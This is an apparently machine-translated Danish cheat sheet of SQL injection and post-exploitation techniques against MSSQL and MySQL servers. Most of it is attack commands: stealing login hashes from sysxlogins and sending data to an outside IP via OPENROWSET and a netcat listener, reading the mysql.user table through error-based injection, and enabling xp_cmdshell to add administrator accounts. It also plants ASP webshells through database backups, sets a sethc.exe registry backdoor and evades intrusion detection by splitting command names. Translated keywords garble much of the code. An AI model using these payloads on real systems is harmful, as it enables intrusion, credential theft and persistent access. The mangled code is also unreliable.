Hashen af adgangskoden, der kopierer hashtabellen (HASH) login _blank> adgangskoden, gemmes i sysxlogins. Sådan gør du:
indsæt i OPENROWSET(SQLOLEDB,

uid=sa; pwd=123; Netværk=DBMSSOCN; Adresse=192.168.0.1,1433; ,vælg * fra _blank>_sysxlogins)

Vælg * fra database.dbo.sysxlogins
Når du har hashen, kan du brute force.

For at bevæge dig gennem mappen: Opret først en midlertidig tabel: temp
; lav tabeltemperatur (id nvarchar(255), num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); –
; indsæt midlertidig executive master.dbo.xp_blank>_availablemedia; – Få alle aktuelle drev
; indsæt i temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Få en liste over undermapper
; indsæt i temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Hent katalogtræstrukturen for alle undermapper,

Sammenlæg tommerne i temperaturtabellen
; indsæt i temp(id) exec master.dbo.xp_blank>_cmdshell skriv c:\web\index.asp; – Se en fil

Indhold
; indsæt i temp(id) executive master.dbo.xp_blank>_cmdshell dir: c:\; –
; indsæt i temp(id) exec master.dbo.xp_blank>_cmdshell dir: c:\ *.asp /s/a; –
; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts

\adsutil.vbs enum w3svc
; indsæt i temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Gældende myndighed

OFFENTLIG)
Skriv til tabellen:
sætning 1: og 1=(Vælg IS_blank>_SRVROLEMEMBER(sysadmin)); –
Udsagn 2: og 1=(Vælg IS_blank>_SRVROLEMEMBER(serveradmin)); –
Udsagn 3: og 1=(Vælg IS_blank>_SRVROLEMEMBER(setupadmin)); –
Udsagn 4: og 1=(Vælg IS_blank>_SRVROLEMEMBER(sikkerhedsadministrator)); –
Udsagn 5: og 1=(Vælg IS_blank>_SRVROLEMEMBER(sikkerhedsadministrator)); –
Sætning 6: og 1=(Vælg IS_blank>_SRVROLEMEMBER(diskadmin)); –
Udsagn 7: og 1=(Vælg IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Udsagn 8: og 1=(Vælg IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Udsagn 9: og 1=(Vælg IS_blank>_MEMBER(db_blank>_owner)); –

Skriv stien til tabellen:
; Opret tabel-dirs(paths varchar(100), id int)–
; indsæt dirs executive master.dbo.xp_blank>_dirtree c:\–
og 0<> (vælg top 1 ruter fra dirs)–
og 0<>(vælg top 1 stier fra di'er, hvor stier ikke er i(@Inetpub))–
; Opret tabel dirs1(paths varchar(100), id int)–
; indsæt dirs executive master.dbo.xp_blank>_dirtree e:\web–
og 0<> (vælg top 1 stier fra dirs1)–

Tag backup _blank> database til en webmappe: Download
; erklære @a systemnavn; sæt @a=db_blank>_name(); Backup-database @a til disk=e:\web\down.bak; –

og 1=(Vælg top 1 navn fra(Vælg top 12 id,navn fra sysobjekter hvor xtype=char(85)) T

Orden efter ID DESC)
og 1=(Vælg Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) fra sysobjects) Se også

Relaterede tabeller.
og 1=(vælg user_blank>_id fra USER_blank>_LOGIN)
og 0=(vælg bruger fra USER_blank>_LOGIN hvor bruger>1)

-=- wscrip{filter}t.shell eksempel -=-
Oplys @o int
exec sp_blank>_oacreate wscrip{filter}t.shell, @o ud
exec sp_blank>_oamethod @o, løb, NULL, notepad.exe
; erklære @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, kør,

NULL, notepad.exe–

Declare @o int, @f int, @t int, @ret int
Erklære @line varchar(8000)
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
mens ( @ret = 0 )
Begynd
Print @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
slut

Declare @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f ud, c:\inetpub\www foo.asp root\, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>

Deklarer @o int, @ret int
exec sp_blank>_oacreate speech.voicetext, @o ud
exec sp_blank>_oamethod @o, register, NULL, foo, bar
Executive sp_blank>_oasetproperty @o, Speed, 150
exec sp_blank>_oamethod @o, speak, NULL, alle dine sequel-servere tilhører os, 528
vent på forsinkelse 00:00:05

; Deklar @o int, @ret int executive sp_blank>_oacreate speech.voicetext, @o out exec

sp_blank>_oamethod @o, register, NULL, foo, bar executive sp_blank>_oasetproperty @o, speed, 150 executive

sp_blank>_oamethod @o, tal, NULL, alle dine efterfølgerservere tilhører os, 528 vent på forsinkelse

00:00:05–

xp_blank>_dirtree den gældende OFFENTLIGE tilladelse
exec master.dbo.xp_blank>_dirtree c: Den returnerede information har to felter: undermappe, dybde. Undermappefelter

Karaktertype, dybdefeltet er formningsfeltet.
Opret tabel-di'er (paths varchar(100), id int)
Tabelopbygning, den tabel, der er oprettet her, er relateret til ovenstående xp_blank>_dirtree, med lige felter og samme type.
indsæt dirs exec master.dbo.xp_blank>_dirtree c: Så længe vi bygger en tabel og definerer felterne, der returneres af lagringsprocessen, ligeligt

Udfør! For at opnå effekten af at skrive tabeller, trin for trin for at opnå den information, vi ønsker!
Denne fejlinjektion er hovedsageligt baseret på overflow af Mysql-datatyper
    mysql > SELECT 18446744073709551610 * 2 ;
    FEJL 1690 ( 22003 ): BIGINT Unsigned værdi er uden for intervallet i '(18446744073709551610 * 2)'

    mysql > SELECT - 1 * 9223372036854775808 ;
    FEJL 1690 ( 22003 ): BIGINT USIGNERET værdi er uden for intervallet i '(- (1) *

9223372036854775808)'
Forespørg databaseversion:
    mysql> SELECT * 2 (hvis ((SELECT * fra (SELECT (version ()) ) s), 18446744073709551610,

18446744073709551610));
    FEJL 1690 (22003): BIGINT USIGNERET værdi er uden for rækkevidde i '(2 * hvis ( Vælg ' 5.5 'fra

Dual), 18446744073709551610.18446744073709551610))'
Få feltets navn:
    mysql> VÆLG 2 * hvis((VÆLG * fra (vælg * fra test.shop) som '' grænse 1)>(VÆLG * fra

test.shop grænse 1), 18446744073709551610, 18446744073709551610);

    FEJL 1690 (22003): BIGINT USIGNERET værdi er uden for rækkevidde i '(2 * hvis((((vælg

'artikel', 'forhandler', pris' fra (vælg 'test'.'shop'.'article' SOM

'artikel', 'test'.'shop'.'forhandler' SOM 'forhandler', 'test'.'shop'.'pris' SOM 'pris' fra

'test'.'shop') grænse 1) > (vælg

'test'.'butik'.'artikel', 'test'.'butik'.'forhandler','test'.'butik'.'pris' fra 'test'.'butik' grænse

1)),18446744073709551610,18446744073709551610))'
Få feltværdien:

    mysql> SELECT 2 * if((SELECT * fra (select * fra (mysql.user) LIMIT 1) som '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610);

    FEJL 1690 (22003): BIGINT USIGNERET værdi er uden for rækkevidde i '(2 * hvis((((vælg

'Localhost', 'root', '*', 'J', 'J', 'J', J', J, 'J, 'J'

Y', Y', Y', Y', Y', '', '','','0', '0', 0', 0', '0', fra dual limit 1)

<

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440

73709551610,18446744073709551610))'

Bemærk, at denne metode ikke virker med ældre versioner af MySQL, og du skal kende længdegrænsen på fejlmeddelelsen, da dette vil afgøre

Du kan få så lang tid, du vil:
    mysys / my_error.c

    /* Maksimal længde af en fejlmeddelelse. Det bør holdes synkroniseret med MYSQL_ERRMSG_SIZE. */
    #define ERRMSGSIZE (512)

Hvis objektet er MariaDB (en fork af Mysql), kan du se en fejlmeddelelse som denne, når du prøver ovenstående metode:

    mysql> SELECT 2*(if((SELECT * fra (SELECT (version())))s), 18446744073709551610,

18446744073709551610))
    FEJL 1690 (22003): BIGINT Unsigned value er uden for intervallet i '(2 * hvis(((vælg

#),18446744073709551610,18446744073709551610))'

Som løsning kan dette problem løses på følgende måde:

    mysql> SELECT (I ER IKKE NULL) - -9223372036854775808 FRA (SELECT (version())i)a;
    FEJL 1690 (22003): BIGGINT-værdien er uden for området i '(('5.5-MariaDB' er ikke null) - -

(9223372036854775808))'
Lad os nu se, om vi kan gøre vores vektor lidt kortere

//查询数据库版本

    SELECT 2*(hvis(((SELECT * fra (SELECT (version()))s), 18446744073709551610,

18446744073709551610))
    =
    select 1E308*if((select*from(select version())x),2,2)

    SELECT (I ER IKKE NULL) - -9223372036854775808 FRA (SELECT (version())i)a
    =
    vælg hvis(x,2,2)*1E308 fra(vælg version()x)y
//获取表字段名称
    VÆLG 2 * hvis((VÆLG * fra (vælg * fra test.shop) som '' grænse 1)>(VÆLG * fra

test.shop grænse 1), 18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit

1),2,2)

//获取字段值

    SELECT 2 * hvis((SELECT * fra (select * fra (mysql.user) LIMIT 1) som '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from

mysql.user limit 0),2,2)
//获取指定字段的值
    select 1E308*if((select user|| vært|| adgangskode|| file_priv fra(select*from mysql.user LIMIT

1) en grænse 1),2,2)
//获取字段个数


    select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)



Nogle andre deformationer

    SELECT (I ER IKKE NULL) - -9223372036854775808 FRA (SELECT (version())i)a
    select 1E308*if((select user|| vært|| adgangskode|| file_priv fra(select*from mysql.user LIMIT

1) en grænse 1),2,2);
    =>
    vælg 2*hvis((vælg bruger|vært|adgangskode|file_priv fra(vælg*fra mysql.user LIMIT 1)en grænse

1),1e308,0);
    MySQL> vælg (vælg * fra MySQL.User)=1;
    MySQL> vælg (vælg * fra MySQL.User)in(1);

    FEJL 1241 (21000): Operanden bør indeholde 42 kolonne(r)
    vælg 2*hvis((vælg bruger|vært|adgangskode|file_priv fra(vælg*fra mysql.user LIMIT 1)en grænse

1),1e308,0);
    vælg if((vælg bruger|| vært|| adgangskode|| file_priv from(select*from mysql.user LIMIT 1)a

limit 1),2,2)*1E308
    SELECT (I ER IKKE NULL) - -9223372036854775808 FRA (SELECT (version())i)a
    vælg (x!=0x00)--9223372036854775808 fra(VÆLG version()x)y
    mysql> select!x-~0.FROM(select+user()x)f;
    FEJL 1690 (22003): BIGINT USIGNERET værdi er uden for rækkevidde i '((not('root@localhost')) - ~

(0))'
3. Vurder databasesystemet
; og (vælg antal(*) fra sysobjects)>0 mssql
; og (vælg antal(*) fra msysobjects)>0 adgang
4. Injektionsparameteren er et tegn
'og [forespørgselskriterier] og ''='
5. Der er ingen filtrerede parametre under søgningen
'og [forespørgselskriterier] og '%25'='
6. Gæt databasen
; og (vælg Count(*) fra [databasenavn])>0
7. Gæt feltet
; og (vælg Count (feltnavn) fra databasenavnet)>0
8. Gæt længden af rekorden i marken
; og (vælg top 1 len (feltnavn) fra databasenavn>0
9. (1) Gæt ASCII-værdien af feltet (adgang)
; og (vælg top 1 asc(mid(feltnavn, 1,1)) fra databasenavn)>0
(2) Gæt ASCII-værdien af feltet (mssql)
; og (vælg top 1 unicode(substring(feltnavn, 1,1)) fra databasenavn)>0
10. Testtilladelsesstruktur (mssql)
; og 1=(vælg IS_SRVROLEMEMBER('sysadmin')); --
; og 1=(vælg IS_SRVROLEMEMBER('serveradmin')); --
; og 1=(vælg IS_SRVROLEMEMBER('setupadmin')); --
; og 1=(vælg IS_SRVROLEMEMBER('securityadmin')); --
; og 1=(vælg IS_SRVROLEMEMBER('diskadmin')); --
; og 1=(vælg IS_SRVROLEMEMBER('bulkadmin')); --
; og 1=(vælg IS_MEMBER('db_owner')); --
11. Tilføj en konto til mssql og systemet
; exec master.dbo.sp_addlogin brugernavn; --
; exec master.dbo.sp_password null, brugernavn, adgangskode; --
; exec master.dbo.sp_addsrvrolemember sysadmin brugernavn; --
; exec master.dbo.xp_cmdshell 'netbrugerbruger-adgangskode /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add';--
; exec master.dbo.xp_cmdshell 'netbrugerbruger-adgangskode /tilføjelse'; --
; exec master.dbo.xp_cmdshell 'net localgroup administrators brugernavn /add'; --
12. (1) Gennemgå kataloget
; Opret tabel-di'er (paths varchar(100), id int)
; indsæt dirs executive master.dbo.xp_dirtree 'c:\'
; og (vælg top 1 stier fra dirs)>0
; og (vælg top 1-stier fra di'er, hvor stier ikke er i ('stier opnået fra forrige trin'))>)
(2) Gennemgå kataloget
; lav tabeltemperatur (id nvarchar(255), num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; indsæt midlertidig leder master.dbo.xp_availablemedia; -- Få alle strømdrev
; indsæt i temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Få en liste over undermapper
; indsæt i temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Hent mappetræstrukturen for alle undermapper
; indsæt i temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Se indholdet af filen
13. Lagrede procedurer i mssql
xp_regenumvalues Registreringsregister-rodnøgle, børnenøgle
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' og flere

Recordset-metoden til at returnere alle nøgleværdier
xp_regread Rodnøgle, børnenøgle, nøgle-værdi navn
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion','CommonFilesDir' returnerer værdien af formuleringsnøglen
xp_regwrite Rodnøgle, børnenøgle, værdinavn, værditype, værdi
Der findes to typer værdityper, REG_SZ REG_DWORD for tegntyper og for heltal
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' er skrevet til registret
xp_regdeletevalue Rodnøgle, undernøgle, værdinavn
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName' for at fjerne en værdi
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' delete-tast,

Inkluder alle værdier under den nøgle
14. mssql-backup opretter en webshell
Brug modellen
oprette table cmd (STR-billede);
indsæt i cmd(str)-værdier ('<% Dim oscrip{filter}t %>');
Backup databasemodel til disk='c:\l.asp';
15. MSSQL indbyggede funktioner
; og (vælg @@version)>0 for at få versionsnummeret for Windows
; og user_name()='dbo' for at afgøre, om den tilsluttede bruger af det nuværende system er SA
; og (vælg user_name())>0 Eksploderede de tilsluttede brugere af det nuværende system
; og (vælg db_name())>0 for at få den aktuelt tilsluttede database
16. Præcis webshell
Brug modellen
oprette table cmd (STR-billede);
Indsæt i cmd(STR) værdier ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c

"&request("c")).stdout.readall%>');
Backup databasemodel til disk='g:\wwwtest\l.asp';
Når du anmoder, brug noget i stil med dette:
http://ip/l.asp?c=dir
================================================================================================

================================================================================================

================================================================================================

================================================================================================

============================
Få alle databasenavne, inklusive systemdatabaser
–VÆLG navn FRA master.dbo.sysdatabases

Hent alle ikke-systemdatabasenavne
–vælg [navn] fra master.dbo.sysdatabases, hvor DBId>6 Ordner efter [Navn]

Få alle oplysninger, inklusive databasefilens adresse
–vælg * fra master.dbo.sysdatabases, hvor DBId>6 Ordner efter

[Navn]



Denne sætningsforespørgsel returnerer alle brugertabeller

Vælg * fra sysobjects hvor xtype='u'


Forespørg alle datatabeloplysninger i systemet

Vælg * fra sysobjects



Se på maskinens navn
Vælg * fra sys.servers





Kolonneindholdsfortegnelse
Executive master.dbo.xp_subdirs 'C:\'


exec master.dbo.xp_dirtree 'c:',1,1 db_owner
Tilladelser kan håndhæves


exec master.dbo.xp_dirtree 'c:/Program Files',1,1





Programkode, skrevet til webshell


exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
Executive sp_makewebtask 'D:

\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"






Henrette mester.. xp_enumgroups  


Traverse-systembrugere


Henrette mester.. xp_getnetname
Få det aktuelle maskinnavn


--Oplist de faste drev på serveren sammen med den tilgængelige plads for hvert drev
   DBO Public


Udfør

xp_ntsec_enumdomains


--
Opret en konto for at logge ind på MSSQL
Direktør master.dbo.sp_addlogin navn, pas; --






--
Angiv serverens domænenavn
xp_ntsec_enumdomains //
Maskinnavn //dbo offentlig


--
Stop eller start en service
xp_servicecontrol 'stop', 'schedule' //schedule er servicenavnet //dbo


--Brug pid

Stop et kørende program
xp_terminate_process 123 //123 er pid //dbo


--
Kun undermapper i en mappe er opført
dbo.xp_subdirs 'C:' //dbo


SQL Server
Metoden til åbning af xp_cmdshell i 2005
EXEC sp_configure 'vis avancerede muligheder', 1; OMKONFIGURER; EKSEKUTIV

sp_configure 'xp_cmdshell', 1; OMKONFIGURER;

SQL2005 Åbn 'OPENROWSET'
Understøttede metoder:
executive sp_configure 'vis avancerede muligheder', 1; OMKONFIGURER; leder sp_configure 'Ad Hoc

Distribuerede forespørgsler',1; OMKONFIGURER;

SQL2005 til at aktivere 'sp_oacreate'-understøttelse:
executive sp_configure 'vis avancerede muligheder', 1; OMKONFIGURER; Ledelse

sp_configure 'Ole Automation Procedures',1; OMKONFIGURER





Sådan aktiverer du xp_cmdshell i SQL Server 2008


-- For at tillade ændringer af avancerede indstillinger.
EKSEKUTIV

sp_configure 'vis avancerede muligheder', 1

-- For at opdatere den aktuelt konfigurerede værdi for

avancerede muligheder.
OMKONFIGURER

-- For at aktivere funktionen.
EKSEKUTIV sp_configure 'xp_cmdshell', 1

-- Til

Opdater den aktuelt konfigurerede værdi for denne funktion.
OMKONFIGURER



exec xp_cmdshell 'ipconfig'



I dag ville jeg ændre SA-loginadgangskoden på databaseserveren, men glemte det pludselig, så jeg måtte åbne query analyzer med hjælp fra andre konti for at ændre SA-adgangskoden

Det er meget enkelt:


Udførelse:
sp_password Null,'teracypwd,'sa'
Sæt SA-adgangskoden til "teracypwd"


Efter vellykket henrettelse

Der er "Kommando(er) fuldført med succes."  OK!








I databasetilladelsen skal metoden til at opnå MSSQL-databaseserverens IP adskilles i databasens tilladelse


1. Lokal NC lytter til NC -VVLP 80


2.; Indsæt i

OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Netværk=DBMSSOCN; Adresse=din IP, 80; ', vælg * fra

dest_table') vælg * fra src_table; --


Vælg * fra OpenRowset

('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','vælg bruger; ')





Databaseimport og -eksport

/*不同服务器数据库之间的数据操作*/

--Opret linkserver
Eksekutiv sp_addlinkedserver   

'ITSV', 'SQLOLEDB', 'Remote Server Name eller IP Address'
exec sp_addlinkedsrvlogin 'ITSV', 'false

',null, 'brugernavn', 'adgangskode'

--forespørgselseksempel
vælg * fra ITSV.database name.dbo.table name

--import eksempel
Vælg *

ind i tabellen fra ITSV.databasename.dbo.tablename

--Slet den linkede server, hvis den ikke længere er i brug i fremtiden
leder sp_dropserver 'ITSV',

'droplogins'

--
Forbindelse til fjern-/LAN-data (openrowset/openquery/opendatasource)
--1、openrowset

--forespørgselseksempel
Vælg *

fra openrowset( 'SQLOLEDB ', 'sql server navn '; 'Brugernavn'; 'password', databasenavn.dbo.table name)

--
Generér en lokal tabel
vælg * i tabellen fra openrowset( 'SQLOLEDB ', 'sql server navn '; 'Brugernavn'; 'Adgangskode', nummer

Ifølge databasenavnet.dbo. tabelnavn)

--
Importer den lokale tabel til den fjerntavle
insert openrowset( 'SQLOLEDB', 'sql server name'; 'Brugernavn'; 'Adgangskoder', databaser

name.dbo.table name)
Vælg *fra lokal tabel

--
Opdater lokale tabeller
Opdatering B
sæt b. kolonne A = a
fra openrowset( 'SQLOLEDB ', 'sql server navn '; 'Brugernavn'; '

adgangskode ', databasenavn .dbo.table name) som en indre join lokal tabel b
på a.kolonne1=b.kolonne1

--openquery
Brug kræver oprettelse af en forbindelse

--Først opretter du en forbindelse for at oprette en linkserver
leder sp_addlinkedserver 'ITSV', ' ',

'SQLOLEDB', 'fjernservernavn eller IP-adresse'
--Undersøg
Vælg *
FRA openquery(ITSV, 'SELECT * FROM data

library.dbo.table name ')
--
Importer den lokale tabel til den fjerntavle
indsæt openquery(ITSV, 'SELECT * FROM database.dbo.table name')
Vælg * fra lokal

Tabel
--opdater lokal tabel
Opdatering B
sæt b. kolonne B=a
FROM openquery(ITSV, 'SELECT * FROM database.dbo.tablename')

som en  
indre samling lokal tabel b på a. kolonne A=b. kolonne A

--3、opendatasource/openrowset
VÆLG *
FRA   

opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; Bruger-ID=Loginnavn; Adgangskode=Adgangskode '

).test.dbo.roy_ta
--
Importer den lokale tabel til den fjerntavle



Sletning og genoprettelse af xp_cmdshell


Måder at genoprette xp_cmdshell   
Slet den udvidede lagrede procedure xp_cmdshell

Udtalelse   
Direktør sp_dropextendedproc 'xp_cmdshell'   



Genopret sql-sætningen i cmdshell   
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'   


Ledelse

master.dbo.add extendedproc 'xp_cmdshell','xplog70.dll'; Vælg tælling(*) fra

master.dbo.sysobjects hvor xtype='x' og   
Returresultatet er 1, og det er OK   


Ellers skal du uploade c:\inetput\web

\xplog70.dll senere   
exec master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web xplog70.dll\

’; --   



Hvis du sletter det på følgende måde   
Drop-procedure sp_addextendedproc   
Drop-procedure sp_oacreate   
Ledelse

sp_dropextendedproc 'xp_cmdshell'   



Du kan gendanne den med følgende erklæring   
dbcc tilføjede extendedproc ("sp_oacreate","odsole70.dll")   
DBCC

addendedproc ("xp_cmdshell", "xplog70.dll")   

På denne måde kan den genoprettes direkte, uanset om sp_addextendedproc eksisterer eller ej






1、
Brug xp_cmdshell:
          exec master.dbo.xp_cmdshell "netbrugeradministratoradministrator, admin /add"
          Ledelse

master.dbo.xp_cmdshell "net localgroup administrators admin /add"

I xp_cmdshell tilfælde kan du bruge sp_oacreate til at følge sp_oamethod:
          Oplys @object int   
          Ledelse

sp_oacreate 'wscrip{filter}t.Shell', @object ud         
          Eksekutiv sp_oamethod

@object,'Run', NULL,'net user admin admin /add'
          exec sp_oamethod @object, 'Run', NULL, 'net

localgroup Administratorer admin /add'

Bemærk: regsvr32 /s c:\windows\system32\wshom.ocx
Start wscrip{filter}t.shell
3、
Brug sp_oacreate og FSO
          Oplys @o int
          Ledelse sp_oacreate

'scrip{filter}ting.filesystemobject', @o ud
          exec sp_oamethod @o, 'copyfile', null,'c:\windows

\explorer.exe' ,'c:\windows\system32\sethc.exe';
          Oplys @oo int
          Ledelse

sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo ud
          Direktør sp_oamethod @oo,

'copyfile', null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

Brug xp_regwrite (db_owner, genstart påkrævet):
          Executive master.dbo.xp_regwrite

'hkey_local_machine',software\microsoft\windows\currentversion\


run','eadd1','reg_sz','netbrugeradministrator admin /add'
          Executive master.dbo.xp_regwrite

'hkey_local_machine',software\microsoft\windows\currentversion\


run','eadd2','reg_sz','net localgroup administrators admin /add'
5. Brug sp_add_job:
          Ledelse

master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT'
          Brug MSDB Exec sp_delete_job

null,'x'
          Leder sp_add_job 'X'
          Executive sp_add_jobstep

Null,'x',Null,'1','CMDEXEC','cmd /c net-brugeradmin admin /add'
          Ledelse sp_add_jobserver

Null, 'x', @@servername executive sp_start_job 'x'















Mange SA har haft succes med mange maskiner direkte ved at bruge sandbox-tilstanden, men jeg har aldrig øvet det, og jeg ved ikke, hvad succesraten er. Når forlængelsen fjernes, først

Genskab læse- og skrivelageret til registreringsregistret.
dbcc tilføjede udvidedeproc ('xp_regread','xpstar.dll')
dbcc addendedproc

('xp_regwrite','xpstar.dll')



Rettet sandkassens beskyttede tilstand
Exec Master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet

\4.0\Engines','SandBoxMode','REG_DWORD',0; --



Se om værdien 'SandBoxMode' er blevet til 0.


EXECUTIVE master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', SOFTWARE

\Microsoft\Jet\4.0\Engines', 'SandBoxMode'



Til sidst, kald sandkasse-tilstanden
vælg * fra openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS

\system32\ias\dnary.mdb','vælg shell("cmd.exe /c netbruger bruger passwd /add")')







Hvis sandkassebeskyttelsestilstanden ikke er "slået fra", rapporteres en fejl:
          Server: Msg 7357, Niveau 16, Tilstand 2, Linje 1

Kunne ikke håndtere objektet 'select shell("cmd.exe /c net user user passwd /add")'. OLE DB tilbyder programmer

Forordet 'microsoft.jet.oledb.4.0' angiver, at der ikke er nogen kolonner i objektet.

OLE DB fejlsporing [Ikke-interfacefejl: OLE DB-udbyder kan ikke behandle objektet, da objektet

har nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user

user passwd /add")']。


2、
Hvis .mdb ikke eksisterer, eller inputstien er forkert
           Server: Msg 7399, Niveau 16, Tilstand 1, Linje 1

OLE DB provider 'microsoft.jet.oledb.4.0' fejl.
            [OLE/DB-udbyder returnerede besked:

Filen 'C:\WINDOWS\system32\ias dnary1.mdb\' ikke fundet. ]

OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned returned

0x80004005: ]。


3. Hvis der er flere mellemrum under inputprocessen, vil der også blive rapporteret en fejl. Vær særlig opmærksom på dette, mange mennesker søger direkte efter artikler online

Indsæt det i og udfør det.
          Server: Msg 7357, Niveau 16, Tilstand 2, Linje 1
          Kunne ikke behandle objektet 'select

shell("cmd.exe /c net user user passwd /add")'。
OLE DB-udbyderen 'microsoft.jet.oledb.4.0' angiver, at der ikke er nogen kolonner i objektet.

OLE DB fejlsporing [Ikke-interface fejl:
OLE DB-udbyder kan ikke behandle objektet, da objektet har

nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user user

passwd /add")']。


4、
Hvis mdb-tilladelserne og cmd.exe-tilladelserne er forkerte, vil problemet også opstå.
          Når MDB-tilladelserne er forkerte,
           Server: Eliminer

Rente 7320, Niveau 16, Stat 2, Linje 1

Han kunne ikke svare
OLE DB-udbyderen 'Microsoft.Jet.OLEDB.4.0' udfører forespørgslen.
           [OLE/DB-udbyder returneret

message: 未知]
           OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'

ICommandText::Execute returned 0x80040e14]。


5. Hvis nettilladelsen er forkert, er der ingen prompt.

Den sidste måde at hæve autoriteten på er at uploade systemets ias.mdb og cmd.exe under den aktuelle webmappe net.exe tre filer.

Execute select * fra openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb',vælg shell

("E:\web\cmd.exe /c E:\web\net.exe brugerbruger-passwd /add")')
          Tilføj en computerbruger med succes.






Opdeling af cmdshell omgår IDS         
Deklarér @a sysname-sæt @a='xp_'+'cmdshell' exec @a 'ipconfig'
Erklære

@a sysname-sæt @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'





Rediger registrerings-kapringsskift
Exec Master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT

\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows

\system32\cmd.exe tændt'; --



Forespørg linkserveren
markere

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess fra master.dbo.sysservers
markere

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess fra master.dbo.sysservers



Forespørg linkserver2
Vælg særskilt værtsnavn,db_name(dbid),net_address,loginame,program_name fra

Mester.. SysProcesses



Forespørg linkserveren
og andre indloggede brugere
Vælg * fra [192.168.1.1].master.dbo.syslogins



Forespørgsel Linkserver
Alle databaser
vælg * fra linkedSrvWeb.master.dbo.sysdatabases



Udfør udvidet lagring på LinkServer
exec [ip].master.dbo.xp_cmdshell



Forespørg alle tabeller på linkserveren
Vælg * fra [ip].master.dbo.sysobjects








Vælg * fra OpenRowset

('sqloledb','server=IP; uid=bruger; pwd=adgangskode','vælg @@version')


vælg * fra openquery([LINKSERVER

navn],'vælg @@version')




vælg * fra openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')




vælg * fra openquery(GM_SERVER,'select * fra sysobjects hvor xtype = (''U''')')


Vælg * fra

openquery(NDOORS,'Vælg IS_MEMBER(''db_owner'')')




Vælg * fra OpenQuery(toatdeweb,'select

srvnavn fra master.dbo.sysservers')


indsæt i opendatasource

('sqloledb','server=222.241.95.12; uid=SCD; pwd=A123520; database=hack520').hack520.dbo.zhu select

navn fra master.dbo.sysdatabases
oprette database hack520 Opret TABEL zhu(navn nvarchar(256)

null); Opret TABEL J8(id int NULL,navn nvarchar(256) null);


Vælg * fra OpenQuery

